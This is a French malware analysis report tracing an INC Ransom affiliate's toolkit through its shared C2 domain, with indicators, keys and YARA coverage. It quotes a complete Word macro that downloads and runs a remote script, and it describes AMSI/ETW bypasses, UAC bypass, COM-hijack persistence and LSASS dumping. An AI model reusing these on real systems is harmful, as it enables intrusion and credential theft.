# INC Ransom : un domaine relie le Meterpreter aux encrypteurs patchés par victime

**Catégorie :** Ransomware

**Analyste :** Gordon PEIRS ([@ozer0x777](https://github.com/Ozer0x777))

**Famille :** INC Ransom et outillage d'affiliés (Ghost, Phantom, RevSocks)

**Méthode :** analyse statique (Ghidra, objdump, YARA) et émulation sous Unicorn de 114 binaires, scripts et documents publiés sur MalwareBazaar le 2026-10-20, plus de l'OSINT passif (journaux de transparence des certificats, RDAP, abuse.ch, DNS passif et relations de fichiers de VirusTotal, rapports Triage en lecture seule). Aucun échantillon n'a été exécuté et aucune connexion n'a été ouverte vers une adresse, un domaine, un bot Telegram ou un serveur de l'opérateur. Les domaines de la campagne ont seulement été résolus par un résolveur public et consultés dans des services tiers (crt.sh, RDAP, urlscan.io, Wayback Machine, abuse.ch, VirusTotal, Triage).

---

## Résumé

Le 2026-10-20, le rapporteur SOCRadarSTRU dépose 114 fichiers sur MalwareBazaar, avec un article qui décrit la boîte à outils d'un affilié INC Ransom. J'ai tout lu sans rien exécuter. Le fichier le plus parlant est `Ghost_loader.exe`, un chargeur MinGW qui déchiffre en AES-256-CBC **un Meterpreter stageless, sans la moindre modification** (version 2.0.245 de `metasploit-payloads`). Sa configuration contacte `89.185.83.8` avec l'en-tête `Host: api.system-strategy.org`. Ce domaine, je le retrouve ensuite dans le cradle PowerShell du framework Phantom, dans trois agents RevSocks placés derrière Cloudflare, dans l'URL du téléchargeur `colorui5.dll` et, après décodage, dans le C2 HTTPS d'un implant Ghost. **Le Meterpreter n'est donc pas un artefact isolé : son infrastructure le relie à toute la boîte à outils.** L'article de SOCRadar ne parle pas de Meterpreter, ce rattachement vient des échantillons.

La chaîne reconstituée va de la livraison à l'impact. Un modèle Word avec macro lance `curl` via WMI pour récupérer `stage1.cmd` sur `45.227.254.45:8000`. Le second étage est soit un beacon Python (`svc.py`), soit un cradle PowerShell qui exécute un blob AES téléchargé sur `api.system-strategy.org`. Les implants sont le Meterpreter, trois générations d'implants Ghost (HTTPS puis Telegram), des beacons Go (`mcp-agent`) et des agents RevSocks pour le pivot SOCKS. La post-exploitation combine vidage de LSASS (pilote Dell DBUtil_2_3.sys CVE-2021-21551 ou pilote Zemana, `comsvcs.dll`, PrintNightmare), neutralisation d'antivirus et exfiltration par `restic` ou par un client S3/Dropbox/MEGA maison. L'impact revient à 46 encrypteurs INC : 7 Windows, 39 Linux et ESXi sur 13 cibles. **Six builds Windows sortent d'un même modèle compilé une fois et patché par victime le 2026-09-30, entre 06:00 et 06:52 UTC**, et trois d'entre eux ont leur jumeau Linux et ESXi avec la même clé publique.

Le cradle PowerShell ne tient pas ce qu'il annonce. Son contournement AMSI par point d'arrêt matériel écrit les registres de débogage aux mauvais décalages de la structure `CONTEXT` et n'arme rien : seule la mise à `true` du champ `amsiInitFailed` agit. Le patch ETW promis dans son en-tête n'existe pas dans le code.

Les secrets de chaque étage ont la même faiblesse : **ils voyagent avec ce qu'ils protègent**. La clé AES du Meterpreter est dans le chargeur, la clé et l'IV du cradle sont les 48 premiers octets de la réponse serveur, la clé XOR de RevSocks est une constante qui commence par `deadbeef`, la clé de chaque implant Ghost est dans son build. Avec un échantillon ou une capture réseau, un défenseur récupère la charge suivante et la configuration C2.

Ce que cette analyse ajoute à l'article : les captures réseau des exécutions publiques Triage, qui montrent qu'aucune charge n'a circulé et qui datent la mise en service des serveurs RevSocks par leurs certificats ; l'antériorité de la boîte à outils, dont le plus ancien implant relié date du 2026-05-02, 14 minutes après l'enregistrement de `system-strategy.org` ; la dérivation de clé du tunnel RevSocks v4, confirmée par émulation contre `hashlib`, et un codec qui déchiffre une session capturée ; le jeu de commandes élargi des implants Ghost Telegram ; les encrypteurs Linux et ESXi, dont le mode de chiffrement est un paramètre de ligne de commande et dont seules la clé, l'identifiant et la note sont patchés ; une parenté de code mesurée entre les encrypteurs C++ INC et Lynx ; trois indicateurs saisis dans ThreatFox par le rapporteur et examinés passivement ; 18 règles YARA qui couvrent 90 des 114 fichiers sans correspondance sur environ 10 600 binaires sains.

> Tout est reproductible depuis [`runbook.md`](writeups/inc-ghost-phantom-killchain/runbook.md). Les scripts sont dans [`tools/`](tools.html?slug=inc-ghost-phantom-killchain).

## 1. Périmètre et sources

| Source | Usage |
|---|---|
| MalwareBazaar, étiquettes `INC Ransomware`, `The Gentlemen Ransomware`, `STRU` | 114 échantillons déposés le 2026-10-20 entre 12:11 et 12:24 UTC par le rapporteur SOCRadarSTRU |
| Article de recherche SOCRadar publié le 2026-10-20, mis à jour le 2026-10-23 | Rôles annoncés, adresses IP, domaines, hashs, noms de tâches |
| Journaux de transparence des certificats (crt.sh) | Historique des certificats de chaque domaine |
| RDAP des domaines et des blocs d'adresses | Dates d'enregistrement, serveurs de noms, détenteurs |
| Triage (API, lecture seule) | 141 rapports d'exécutions publiques et captures réseau de onze échantillons (captures et rapports conservés hors paquet) |
| VirusTotal (API v3, lecture seule, palier gratuit) | Résolutions DNS passives, fichiers qui contactent les adresses et domaines, certificats TLS et JARM, sous-domaines (réponses brutes hors paquet, tableau dans `osint/vt_hors_lot.csv`) |
| abuse.ch (ThreatFox, URLhaus) | Couverture publique des indicateurs |
| Bacs à sable publics (Triage, Hybrid Analysis, VMRay, Intezer, CAPE, ANY.RUN, ReversingLabs) | Couverture AV et identification des familles, consultés passivement via MalwareBazaar vendor_intel |
| Gem `metasploit-payloads` 2.0.245 et API rubygems.org | Référence publique pour la comparaison du payload |

Le lot se compose de 46 builds INC, 33 outils Phantom, 18 outils Ghost, 16 agents ou chargeurs RevSocks et 1 agent de staging, soit 334 523 412 octets (319 Mio). Les noms Ghost, Phantom et RevSocks viennent des préfixes de noms de fichiers du dépôt : c'est le classement du rapporteur, pas un classement technique, et deux outils Go rangés dans des familles différentes partagent par exemple le module `hostprobe`. Les neuf hashs INC cités par l'article sont tous là. Les autres étiquettes du même rapporteur (`PivotC2`, `ICMacOS`, `Operation_Conflict_Compass`) relèvent d'autres campagnes et restent hors périmètre.

Le dossier joint contient l'inventaire (`cluster_inventory.csv`), les indicateurs (`iocs.csv`), les règles YARA, les outils et les tableaux OSINT cités dans le texte.

## 2. Chaîne reconstituée

```
Modèle Word (.dotm, macro Document_Open)
   |  WMI Win32_Process : curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd
   v
stage1.cmd (hub de livraison 45.227.254.45)
   |-- pythonw.exe svc.py --callback URL --token TOKEN        (beacon Python Phantom)
   |-- stage2_inject_v2.ps1 : contournement AMSI, GET https://api.system-strategy.org/api/v2/update
   |        blob = clé(32) | IV(16) | AES-256-CBC(shellcode), exécution par CreateTimerQueueTimer
   v
Implants
   |-- Ghost_loader.exe -> Meterpreter 2.0.245 -> https://89.185.83.8:443 (Host api.system-strategy.org)
   |-- Ghost G6B77FE12 : HTTPS api.system-strategy.org /api/v3/be13a10b476f
   |-- Ghost G00F9FCB5 et G7CDD6836 : API Telegram (G7CDD6836 aussi livré par Ghost_OneDriveSync : chargeur Go -> blob Donut -> implant)
   |-- Phantom mcp-agent : HTTPS 138.124.123.56:8443 (/checkin, /tasks, /result)
   |-- RevSocks : https://77.110.109.248/dl/<jeton>/agent*.enc, cdn.system-strategy.org
   v
Post-exploitation : LSASS (zam64.sys, comsvcs, PrintNightmare), killers AV, restic, rks3 (S3/Dropbox/MEGA)
   v
Impact : encrypteurs INC patchés par victime (Windows, Linux, ESXi)
```

Chaque flèche de ce schéma tient à une preuve directe : la macro contient l'adresse du hub, le script `svc.py` documente lui-même `stage1.cmd -> pythonw.exe svc.py`, le cradle PowerShell contient l'URL `api.system-strategy.org`, et la configuration déchiffrée de chaque implant Ghost contient son C2.

## 3. Livraison initiale

### Modèles Word

| Fichier | Contenu |
|---|---|
| Modèle avec macro (`0a27d422...`) | `vbaProject.bin` de 7 680 octets, procédure `Document_Open` |
| Modèle sans macro (`6fc6b7a6...`) | Pas de projet VBA, 11 314 octets |

La macro entière :

```vb
Private Sub Document_Open()
    On Error Resume Next
    Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
    proc.Create "cmd.exe /c curl.exe -sk -o %TEMP%\u.cmd http://45.227.254.45:8000/scripts/stage1.cmd && %TEMP%\u.cmd", Null, Null, pid
End Sub
```

Passer par WMI évite la filiation directe de Word vers `cmd.exe`, celle que surveillent la plupart des règles de détection. Les deux documents ont été créés le 2026-09-01 (05:29 et 07:52 UTC) par un auteur `Administrator`. Le champ société de leurs métadonnées porte le nom d'une entreprise tierce, que je ne reproduis pas (il est dans les notes restreintes). Le reste des métadonnées raconte la même histoire : deux fichiers créés à neuf (racines d'identifiants de révision et identifiants de document différents, donc pas un enregistrement sous un autre nom), sur la même installation Office 16.0, avec les mêmes styles, le même thème et les mêmes paramètres. Le projet VBA indique un Office 32 bits sur un Windows 64 bits, en anglais américain, page au format Lettre. Ni vignette, ni propriété personnalisée, ni chemin de fichier, ni modèle distant : pas d'injection de modèle. Je ne tire rien de la valeur du champ société. Elle peut venir de l'installation Office qui a servi à rédiger les modèles ou d'un document réutilisé, et rien dans les échantillons ne permet de trancher.

### Cradle PowerShell `stage2_inject_v2.ps1`

Le script s'annonce dans son en-tête comme un « Full EDR/AMSI Evasion PS Cradle ». Ce qu'il fait vraiment :

- marqueur d'activité `ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp`, le script quitte si le marqueur a moins de 50 minutes ;
- contournement AMSI en deux temps : mise à `true` du champ `amsiInitFailed` (noms coupés pour éviter la signature), puis une tentative de point d'arrêt matériel sur `AmsiScanBuffer` avec un gestionnaire d'exceptions vectorisé. Les registres `Dr0` et `Dr7` sont écrits aux décalages `0x350` et `0x378` du tampon de contexte au lieu de `0x48` et `0x70` d'une structure `CONTEXT` x64, donc aucun point d'arrêt n'est armé ;
- le gestionnaire force le retour d'`AmsiScanBuffer` avec `E_INVALIDARG`, ce qui fait échouer l'analyse du contenu ;
- la section « ETW PATCH » du script ne fait que chercher un module sans rien modifier : le patch annoncé n'est pas implémenté ;
- téléchargement de `https://api.system-strategy.org/api/v2/update`, validation de certificat désactivée ;
- clé AES-256 et IV pris dans les 48 premiers octets de la réponse, le reste est le shellcode chiffré en CBC ;
- allocation par `NtAllocateVirtualMemory`, passage en exécution par `NtProtectVirtualMemory`, lancement par `CreateTimerQueueTimer` pour éviter `CreateThread`.

La structure de la réponse serveur est la faiblesse centrale : qui capture une réponse récupère la clé, l'IV et donc le shellcode.

### Beacon Python `svc.py`

Version `4.0.0-svc`, bibliothèque standard uniquement, désactive la vérification TLS, fait tourner cinq User-Agent, se renomme en `svchost.exe`, `RuntimeBroker.exe`, `WUDFHost.exe`, `taskhostw.exe` ou `dllhost.exe`. Le fichier précise sa propre livraison : `stage1.cmd -> pythonw.exe svc.py --callback URL --token TOKEN -q`.

## 4. Chargeur Ghost_loader et Meterpreter

`Ghost_loader.exe` est un chargeur MinGW x64 de 268 288 octets (SHA-256 `f6fbe168...0c60`, horodatage 2026-07-09 07:07:33 UTC). Il déchiffre un blob de 250 016 octets avec la CryptoAPI, en AES-256-CBC. La clé (`13e820f5...957dd622`) et l'IV (`464a0604...6217e6`) sont en clair dans `.data`. J'ai émulé son `WinMain` sous Unicorn : il atteint `CryptImportKey`, `CryptSetKeyParam` et `CryptDecrypt` avec ces valeurs et produit exactement le payload que j'avais extrait statiquement, ce qu'OpenSSL confirme de son côté.

Le payload est la DLL `metsrv.x64.dll` de `metasploit-payloads` 2.0.245, identique au gem public à 37 octets d'amorce près, suivie d'un bloc de configuration de 2 202 octets : URL `https://89.185.83.8:443/Yhep2wNQf6XNj8y...`, en-tête `Host: api.system-strategy.org`, User-Agent Edge 137, expiration à 7 jours, aucun épinglage de certificat. L'horodatage du UUID de session (07:07:31) précède de deux secondes celui du chargeur : les deux sortent d'une même génération automatisée.

Avant d'exécuter le payload, le chargeur crée le mutex `Global\WinSvcUpdate_7B3F`, vérifie que `Sleep(2000)` dure au moins 1 900 ms, recopie le `.text` de `ntdll.dll` depuis le disque, remplace les quatre premiers octets d'`EtwEventWrite` par `48 33 C0 C3` et lance le payload depuis un callback `EnumDesktopWindows`. Un thread de surveillance appelle `ExitProcess` environ 60 minutes après le lancement. Je le déduis du code (le drapeau n'est écrit nulle part ailleurs), je ne l'ai pas observé.

Le C2 n'apparaît jamais en clair dans le chargeur, seul le déchiffrement le révèle. L'adresse `89.185.83.8` n'est dans aucun flux abuse.ch.

## 5. Famille Ghost : trois générations d'implant

Le nom `G` suivi de 8 caractères hexadécimaux est un identifiant de build. J'en ai décodé trois générations. Les chaînes de configuration (mutex, hôte, chemin, jeton) sont chiffrées par une routine vectorisée SSE que j'ai préféré émuler sous Unicorn plutôt que de la rétro-concevoir : `tools/emulate_string_decoder.py` appelle la fonction du binaire sur le tampon chiffré et lit le résultat.

| Build | Horodatage PE | Signature | Canal C2 | Mutex | Cible décodée |
|---|---|---|---|---|---|
| `G6B77FE12` (`11942f52`) | 2026-07-11 07:15:44 | aucune | HTTPS POST | `Global\31ae8e4090b03c3e` | `api.system-strategy.org` port 443, chemin `/api/v3/be13a10b476f` |
| `G00F9FCB5` (`118c38f1`) | 2026-07-18 12:37:00 | faux Microsoft | API Telegram | `Global\d7fe5d6dcf01bf1b` | bot `8942393139`, conversation `8809711703` |
| `G7CDD6836 stealth` (`8795abe5`) | 2026-07-23 13:06:31 | aucune | API Telegram, `getUpdates` | `Global\5905a2d1ededb1d5` | bot `8986910514`, conversation `8809711703` |

Les deux builds Telegram utilisent deux bots différents mais la même conversation `8809711703`. Cet identifiant est positif, alors que les groupes et les canaux ont des identifiants négatifs dans l'API Telegram : il désigne donc un compte utilisateur (ou un autre bot), très probablement celui de l'opérateur qui reçoit les résultats. Il est numériquement plus petit que ceux des deux bots, ce qui en fait vraisemblablement le plus ancien des trois comptes. Telegram est le seul acteur capable de dire à qui il correspond. J'ai recouvré les jetons complets des deux bots par émulation. Je ne les reproduis pas : ce sont des identifiants d'accès de l'opérateur. Ils doivent être signalés à Telegram pour fermeture des bots, jamais utilisés.

### Protocole de la première génération

La décompilation de `FUN_140001f50` et `FUN_140001a00` donne le protocole suivant :

1. Message JSON `{"build_id":"G6B77FE12","hostname":...,"username":...,"os":"windows","pid":N}` à l'enregistrement.
2. Chiffrement en AES-256-CBC avec un IV aléatoire de 16 octets (`CryptGenRandom`).
3. Authentification par un HMAC-SHA256 écrit à la main (blocs de remplissage `0x36` et `0x5c`), calculé sur IV et texte chiffré.
4. Trame envoyée : `IV | HMAC | texte chiffré`, en POST `application/octet-stream`, TLS avec vérification désactivée.
5. Intervalle d'interrogation tiré entre 15 et 45 secondes par un mélange de `GetTickCount`, du PID et de l'identifiant de thread.

La clé de 32 octets est une chaîne base64 en clair dans `.rdata` (`gBMGlnQB...`). La même clé sert au chiffrement et au HMAC, et chaque build a la sienne. Qui détient le binaire et une capture réseau déchiffre donc la session, et peut aussi forger des messages.

Commandes de l'implant relevées dans le code de traitement des tâches : `cmd`, `shell:`, `whoami`, `pwd`, `cd`, `cat`, `dir`, `ps`, `upload`, `download`, `uac`, `persist`, `exit`. La commande `uac` écrit sous `HKCU\Software\Classes\ms-settings\Shell\Open\command` la commande reçue et une valeur `DelegateExecute` vide, lance `fodhelper.exe` puis supprime la clé : c'est le détournement classique de `fodhelper`. La commande `persist` écrit un scriptlet `%ProgramData%\Microsoft\Crypto\RSA\update.sct` (identifiant de programme `MSUpdate`) qui lance l'implant en caché, puis détourne la bibliothèque de types COM `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` en y inscrivant `script:<chemin du .sct>` sous `HKCU`. Tout processus qui charge cette bibliothèque relance alors l'implant.

### Générations Telegram

Les builds `G00F9FCB5` et `G7CDD6836` envoient du JSON `{"chat_id":...,"text":...}` à `api.telegram.org` (`sendMessage`, `getUpdates`). Leur routine de désobfuscation prend un contexte de 16 octets propre au build, suivi de l'identifiant de build en ASCII. Le build `stealth` modifie en plus la configuration de l'utilisateur par `reg.exe add` : il désactive la notification `Windows.Explorer.NewAppInstalled` et écrit une valeur `StartupApproved\Run` pour `SecurityHealthSystray`, dont je n'ai pas vérifié l'effet exact.

Les noms de commandes que le code de traitement des tâches compare en clair donnent, pour la deuxième génération (`G00F9FCB5`), un jeu bien plus large que celui de la première : reconnaissance de l'hôte et du domaine (`sysinfo`, `info`, `env`, `users`, `user`, `time`, `computers`, `dc`, `dcip`, `dcinfo`, `domgroups`), exécution et gestion de processus (`exec`, `kill`, `ps`), `sleep`, deux commandes `on` et `off` dont je n'ai pas relevé le sens, `hashdump` et `persist`.

Dans le build `G7CDD6836` du lot (13:06), les noms de commandes et de l'API Telegram ne sont plus en clair (il reste `shell:`, `status`, `computers`, `decrypt` et quelques autres), alors que le module extrait du blob Donut de `Ghost_OneDriveSync` (06:01) les contient tous : `hashdump`, `domgroups`, `dcinfo`, `sysinfo`, `getUpdates`, `sendMessage`, `sendDocument` et `getFile`. J'ai comparé les deux fonction par fonction, sur les séquences d'instructions : 94 fonctions identiques sur 111 et 112, et 80 instructions de plus dans le build du lot (16 161 contre 16 081). C'est le même code, recompilé sept heures plus tard avec un masquage des chaînes. Le jeu de commandes du build du lot est donc très probablement celui de `G00F9FCB5` (hors `sleep` et `user`) plus `ping`, `status` et `decrypt`, qui attend un chemin et une clé.

`hashdump` ne lit ni LSASS ni la base SAM : la fonction démarre deux fils sur l'adresse de rebouclage, avec un port tiré entre 40 000 et 59 999, et renvoie le hachage NTLMv2 de l'utilisateur courant ou le message d'échec « Failed to capture NTLMv2 hash ». C'est la même technique que `Ghost_ntlm_test`. Les deux versions de la troisième génération traitent aussi un chemin se terminant par `.dat` en le réécrivant avec l'extension `.exe`, ce qui rappelle le fichier `.dat` du moniteur d'impression sans que le lien soit établi. Les commandes dont le nom est masqué échappent à cette comparaison : les jeux ci-dessus sont des minimums.

### Autres éléments Ghost

| Élément | Constat |
|---|---|
| `Ghost_ghost_loader` (16 896 octets) | Chargeur de PE local : lit un fichier passé en argument |
| `Ghost_agent` (11 264 octets) | Se connecte à `77.110.109.248`, logique de type proxy SOCKS (réponses de version 5, `getaddrinfo`, un fil par connexion) |
| `Ghost_colorui5` (DLL, signée et non signée) | Téléchargeur compilé le 2026-07-09 08:04:25, une heure après `Ghost_loader`. Il restaure `ntdll` depuis le disque, patche une fonction par `xor rax, rax ; ret`, arme un point d'arrêt matériel correct sur `AmsiScanBuffer`, puis télécharge `https://api.system-strategy.org:443/api/v2/update` et déchiffre le résultat par la CryptoAPI |
| `Ghost_monitor` (DLL, builds release et debug), `Ghost_uac_bypass`, `Ghost_ntlm_test` | Quatre fichiers compilés le 2026-07-12 ; tous sauf `Ghost_ntlm_test` portent un faux certificat Microsoft |
| `Ghost_OneDriveSync` | Chargeur Go (module `onedrive-sync`) qui déchiffre une charge AES-256 CTR, écrase le `.text` de `dbghelp.dll` et exécute un blob Donut contenant un implant Ghost de troisième génération : détail dans la sous-section suivante |
| `Ghost_sysconfig`, `Ghost_dump_ppl`, `Ghost_dloader` | Chaîne de vol d'identifiants. `sysconfig` (module `lsass-clean/cmd/dump`, chemin `/opt/c2/go-dump-clean/`) vide LSASS et envoie le résultat à une adresse passée en argument. `dump_ppl` est la version à chaînes masquées (Go, garble) : elle active `SeDebugPrivilege` puis cherche LSASS, et tente quatre méthodes successives pour accéder au processus protégé (PPL), dans l'ordre des messages de log : ouverture directe d'un handle, clonage du processus par fork (« LSASS forked! Clone PID: %d »), duplication d'un handle existant (annoncée « Method 3: Handle duplication »), et en dernier recours chargement du pilote Dell DBUtil_2_3.sys (CVE-2021-21551, chemin device `\\.\DBUtil_2_3`, embarqué dans le binaire, méthode annoncée « Method 4: BYOVD driver + kernel handle upgrade »). La destination de l'envoi HTTP est passée en argument, l'en-tête `User-Agent` vaut `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36`, et le code de retour du serveur est contrôlé. `dloader` (`loader.exe -i <receiver_ip>`) télécharge un outil sur `https://api.system-strategy.org/api/v2/tool` et l'exécute |
| `Ghost_netcheck`, `Phantom_netcheck` | Balayeur de vivacité TCP (module `hostprobe`) : cibles par adresse, CIDR, plage ou fichier, limiteur de débit, aucune adresse intégrée |

### Ghost_OneDriveSync et blob Donut

`Ghost_OneDriveSync` est un chargeur Go (module `onedrive-sync`). Il déchiffre une charge AES-256 en mode CTR dont la clé est dans le binaire, charge `dbghelp.dll` et y écrase la section `.text` au lieu d'injecter dans un autre processus. Le chemin de compilation retrouvé dans le binaire, `/opt/c2/ghost-api-tg/builds/G7CDD6836/loader_go/`, dit pour quel build il a été produit.

La charge déchiffrée (114 388 octets, sha256 `71f5be7b...26e9b`) est un blob Donut, ce qui recoupe l'identification `DonutLoader` de Triage et de VMRay. Je l'ai vérifié sur la structure : le déplacement du `CALL` initial (0x18a28) égale le champ de longueur de l'instance (offset 5), l'instance se déchiffre par Chaskey en mode CTR (16 tours) avec une clé stockée en clair dans son en-tête, et 13 479 octets de code de chargement suivent. Elle contient les noms de bibliothèques `ole32;oleaut32;wininet;mscoree;shell32`, les noms des fonctions AMSI, WLDP et ETW à neutraliser, et un module de type EXE natif non compressé (type 4).

Ce module, un PE x64 de 94 824 octets (sha256 `4337a20d...c90b`, horodaté 2026-07-23 06:01:44 UTC), est un implant Ghost de troisième génération : identifiant `G7CDD6836`, la même API Telegram (`getUpdates`, `sendMessage`, `sendDocument`, `getFile` sur `api.telegram.org`), une persistance par la clé `Run` et un faux certificat Authenticode « Microsoft Corporation » (nom commun « Microsoft Device Synchronization Service », valide du 2026-07-23 06:01:45 au 2027-07-23 06:01:45 UTC, soit un an exactement après la compilation). C'est une compilation distincte, faite sept heures avant l'implant `G7CDD6836` du lot (13:06:31). Elle n'est pas dans les 114 fichiers, et son hash comme son imphash sont absents de MalwareBazaar au 2026-10-23. Elle ne diffère de l'implant du lot que par le masquage des noms de commandes et d'API Telegram (voir plus haut). Sa configuration Telegram, décodée en émulant la routine de masquage, est identique à celle de l'implant du lot : même mutex, même bot (`8986910514`) et même conversation (`8809711703`), ce qui rattache le chargeur au même canal. Le jeton complet du bot n'est écrit dans aucun fichier. Il se recouvre par émulation à partir de l'échantillon public et ne serait transmis qu'à Telegram ou à un service d'enquête, sur demande et par canal chiffré.

## 6. RevSocks : variantes d'un chargeur de proxy

Les 16 builds se répartissent en trois ensembles. Quatre chargeurs et injecteurs de juillet téléchargent depuis `https://77.110.109.248:443/dl/6599207047fdf950a83e680bc24750da/`, et le même jeton de 32 caractères hexadécimaux revient dans les quatre. Dix agents de tunnel (neuf Windows et un ELF, décrit au §7) embarquent leur protocole (défi de 32 octets, ChaCha20, en-tête `CC20`). Deux injecteurs de septembre téléchargent depuis un second serveur, `141.98.83.180`.

| Variante | Horodatage PE | Comportement |
|---|---|---|
| `loader_v1` (`bef87021`) | 2026-07-19 03:08:16 | Télécharge `agent.exe` et le lance |
| `loader_v2` (`e2b5fc7e`) | 2026-07-19 03:08:17 | Télécharge `agent.enc`, XOR avec une clé de 32 octets constante, écrit `%TEMP%\msedge_update.exe`, le lance, attend 5 s, le supprime |
| `injectExplorer` (`7114be5c`) | 2026-07-19 03:08:15 | Contrôles anti-bac à sable, patch ETW, télécharge `agent_sc.enc`, XOR avec une clé de 32 octets aléatoire en `.data`, injecte dans `explorer.exe` ou `RuntimeBroker.exe` par `CreateRemoteThread` |
| `injectWmiprvse` (`27d39120`) | 2026-07-19 03:08:16 | Même jeton et même chemin, cible `wmiprvse.exe` d'après le nom |
| `agent`, `agent_x86` | 2026-07-19 et 2026-07-30 | Agent de tunnel v3 vers `77.110.109.248:443`, chaînes en clair |
| `agent_cf`, `agent_cf_x86`, `cf_debug` | 2026-07-30 | Variante HTTP vers `cdn.system-strategy.org`, derrière Cloudflare, chemin `/tunnel/<session de 32 hex>` ; `cf_debug` journalise dans `C:\cf_debug.txt` et y écrit le secret en clair |
| Agents v4 (x64 et x86, quatre builds) | 2026-07-31 à 2026-09-22 | Préfixe de clé `chacha20_tunnel_v4_`, noms d'API masqués par XOR `0x5a`, contrôles de virtualisation, enveloppe TLS SChannel dès le 2026-08-26 ; deux builds sont des gabarits jamais configurés (`CHANGE_THIS_SECRET_KEY_32_CHAR`, `CHANGEME_IP`) |
| `inject_explorer`, `inject_system` | 2026-09-22 | Appels NT directs, restauration de `ntdll`, patchs ETW et AMSI, contrôles Sandboxie et débogueur ; l'URL `https://141.98.83.180:443/dl/fc971225a48ff03d1596fe0b6cb180af/agent_sc.enc` est masquée par un XOR `0xcb` |

La clé de la variante 2 est `de ad be ef ca fe ba be 13 37 42 69 aa bb cc dd 11 22 33 44 55 66 77 88 99 00 ab cd ef 12 34 56`. Toute copie de `agent.enc` capturée se déchiffre sans effort. La clé de `injectExplorer` est `52ade221eca4520b83dd19db063c31d4c42805ca96d778547ffe2eca18ad084d`. Le contrôle anti-bac à sable de cette variante exige un écart de `GetTickCount` supérieur à 10 240 ms après `Sleep(10741)`, plus de 2 Go de RAM physique et au moins deux processeurs.

Le secret ASCII de 32 caractères `f191074b103901bb58a4ca37494e4cf6` est commun à l'agent v3 Windows, à l'agent ELF, à la variante HTTP et aux agents v4 patchés. Le serveur de livraison de septembre, `141.98.83.180`, était absent de tous les indicateurs publics : l'adresse n'apparaît dans aucune extraction de chaînes à cause du XOR, et l'agent v4 `90fe2b57` du même jour l'appelle aussi. Je ne reproduis pas les clés XOR des deux injecteurs de septembre, leur empreinte figure dans `iocs.csv`.

J'ai reconstruit le protocole des agents v4 par décompilation et émulation. La poignée de main est celle des agents v3 : le serveur envoie 32 octets de défi, l'agent répond par le condensat SHA-256 du secret suivi du défi, puis `CC20`, et exige `CC20` en retour. Chaque enregistrement est une longueur sur 4 octets, un nonce de 12 octets (quatre octets nuls et un compteur de 64 bits) et un chiffrement ChaCha20 à partir du compteur de bloc 1, avec une étiquette Poly1305 conforme à la RFC 8439. J'ai validé le bloc ChaCha20 et l'étiquette par émulation contre des implémentations de référence. Le nonce reçu n'est jamais comparé à un compteur attendu, donc un enregistrement capturé peut être rejoué.

L'agent n'implémente pas SOCKS lui-même : le serveur envoie dans un message d'ouverture de canal le nom d'hôte et le port à joindre, ce qui place l'interface SOCKS côté serveur. Les autres messages sont des données, une fermeture, un ping, un délai de reconnexion imposé par le serveur et, dans le seul build `90fe2b57`, un message d'identification (nom d'hôte et d'utilisateur) renvoyé toutes les 40 à 50 minutes. Limites relevées : 256 canaux, délai de réception de 360 s, keepalive TCP de 10 s, nouvelle tentative toutes les 5 s. La version 4 est donc la version 3 enveloppée dans TLS (SChannel), avec le préfixe de clé et les noms d'API encodés par XOR `0x5a`.

La clé de session est le SHA-256 du préfixe de 19 octets suivi du secret de 32 octets. Pour en être sûr, j'ai émulé sous Unicorn les routines de condensat du binaire (initialisation, mise à jour, finalisation) : elles donnent exactement le même résultat que `hashlib` sur les mêmes entrées (`tools/emulate_v4_kdf.py`). `tools/revsocks_codec.py` implémente ce format (clé, réponse à la poignée de main, scellement et ouverture des trames) et déchiffre une session capturée à partir du secret. Son cadrage repose sur la lecture du code, je n'ai pas pu le confronter à du trafic réel.

Les quatre chargeurs et injecteurs de juillet (`loader_v1`, `loader_v2`, `injectExplorer`, `injectWmiprvse`) ont été compilés à une ou deux secondes d'écart le 2026-07-19 : ce sont des variantes produites en lot, pas des versions successives. On y lit une gradation du durcissement (téléchargement en clair, XOR constant, XOR aléatoire avec injection), puis un front Cloudflare le 2026-07-30, une enveloppe TLS en août et un second serveur de livraison en septembre. Rien dans les échantillons ne relie ces changements à des détections.

## 7. Phantom : framework et outils

Les binaires Go conservent leur métadonnée de build, ce qui donne le nom de chaque module source et la version du compilateur.

| Outil | Module Go | Compilateur | Rôle d'après les noms et chaînes |
|---|---|---|---|
| `Phantom_agent` | `mcp-agent` | go1.23.4 | Beacon HTTPS : `/checkin`, `/tasks/<id>`, `/result`, exécution de commande, intervalle réglable. C2 `138.124.123.56:8443` |
| `Phantom_mcp-bridge` | `mcp-bridge` | go1.23.4 | Serveur d'agents côté opérateur (Linux) exposant un protocole de type MCP : enregistrement, liste des tâches, résultats, listage de répertoires, arrêt d'agent, certificat auto-signé |
| `Phantom_phantom-cli` | `phantom-cli` | go1.22.4 | Outil interne de classification de modules et de profils, sans fonction réseau |
| `Phantom_rks3` (3 variantes) | `rks3/cmd/agent` | go1.24 à go1.25 | Agent d'exfiltration vers S3, Dropbox, Google Cloud Storage, Azure et MEGA, avec découverte réseau, domain fronting et tâche planifiée `Microsoft\Windows\Maintenance\StorageSync` |
| `Phantom_BackupAgent` | `github.com/restic/restic` | go1.25.10 | `restic` légitime recompilé pour exfiltrer, signé avec un faux « SysTool Software Ltd. » |
| `Phantom_BackupConsole` | `backupconsole-cli`, `fileseeker2` | go1.26.0 | Console de recherche, d'archivage et d'envoi (« Enterprise backup management console ») : filtres par extension, date et mots-clés dans le contenu, parcours FTP, archive zip, lancement de `BackupAgent` (restic) vers un S3 compatible (`s3.wasabisys.com` en clair). Le mode `ghostSend` journalise avec le préfixe `Ghost:`, signe d'un pilotage par l'implant, et le nettoyage supprime la tâche planifiée `SysToolUpdate`. Chemins de compilation `/root/chat/BackupConsole/`, le même répertoire `chat` que `rks3` |
| `Phantom_netscanner`, `nethost`, `netcheck` | `netscanner`, `smb_scanner`, `hostprobe` | go1.22 à go1.26 | Reconnaissance réseau : découverte, sondes SMB1 et SMB2, négociation NTLM, limiteur de débit |
| `Phantom_quickheal-killer`, `quickheal-killer2` | `command-line-arguments` | go1.26.5 | Neutralisation de Quick Heal et Seqrite |
| `Phantom_zloader` | MinGW | | Chargeur BYOVD du pilote `zam64.sys` (Zemana) |
| `Phantom_pnloader`, `nightmare.dll` | MinGW | | Exploit PrintNightmare (CVE-2021-1675) |
